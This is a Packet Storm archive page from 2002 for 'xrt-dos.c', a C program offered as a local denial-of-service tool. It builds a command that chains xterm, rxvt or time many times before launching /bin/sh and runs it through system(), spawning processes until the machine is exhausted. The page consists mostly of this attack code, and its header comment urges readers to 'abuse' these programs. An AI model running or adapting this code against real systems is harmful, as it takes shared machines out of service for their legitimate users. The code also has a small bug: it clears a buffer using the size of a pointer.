exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xrt-dos.c

xrt-dos.c
Posted Sep 2, 2002
Authored by Killah | Site hack.gr

A local DoS utility that utilizes a users ability to spawn multiple processes using Xterm, Rxvt, or Time. Tested on Slackware 7.1.

tags | denial of service, local
systems | linux, slackware
SHA-256 | 4f8755c38361730442bf52d7e93981e730604ccb866811bfcafe511bc819147f

xrt-dos.c

Change Mirror Download
/*
* ( XTERM, RXVT, TIME ) Possible Denial Of Service Attack.
* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
* combinations of the above programs , or each one sperately could cause DoS.
* while most linux got these stuff installed, and many other unixes, so get to abuse them,
* because xterm,rxvt & time permits execution of other programs.
* tested under slackware linux 7.1 & worked fine. should also work fine under *BSDs.
*
* (c) 2002 killah @ hack . gr
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define XTERM_PATH "/usr/X11R6/bin/xterm -e "
#define RXVT_PATH "/usr/X11R6/bin/rxvt -e "
#define TIME_PATH "/usr/bin/time "
#define LASTEXEC "/bin/sh" // put anything u like here.
#define SIZE 512
#define VERSION "0.1"

int
main(int argc,char **argv)
{
char *hope,mixed[SIZE];
int counter,num,ch,sux=0;

if(argc<3)
{
printf("\t >>XRT(Xterm,Rxvt,Time) DoS ver%s<<\n\n"
"\t Usage : %s\n"
" -n [number of times to run program]\n"
" -x (for using xterm.)\n"
" -r (for using rxvt.)\n"
" -t (for using time.)\n",VERSION,argv[0]);
exit(EXIT_FAILURE);
}
bzero(mixed,sizeof(mixed));
while((ch=getopt(argc,argv,"n:xrt"))!=EOF)
{
switch(ch)
{
case 'n':
num=atoi(optarg);
break;
case 'x':
strncat(mixed,XTERM_PATH,strlen(XTERM_PATH));
sux=strlen(XTERM_PATH)+sux;
break;
case 'r':
strncat(mixed,RXVT_PATH,strlen(RXVT_PATH));
sux=strlen(RXVT_PATH)+sux;
break;
case 't':
strncat(mixed,TIME_PATH,strlen(TIME_PATH));
sux=strlen(TIME_PATH)+sux;
break;
}
}
hope=malloc(num*strlen(mixed)+4);
bzero(hope,sizeof(hope));

for(counter=0; counter<num; counter++)
strncat(hope,mixed,strlen(mixed));

strncat(hope,LASTEXEC,strlen(LASTEXEC));

// printf("string generated is : [%s] [%u]\n",hope,sizeof(hope));
system(hope);// wh0a, going for DoS!!!
free(hope);//freeing memory captured by hope.
return(EXIT_SUCCESS);//keep debugger happy.
}
/*EOF*/
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close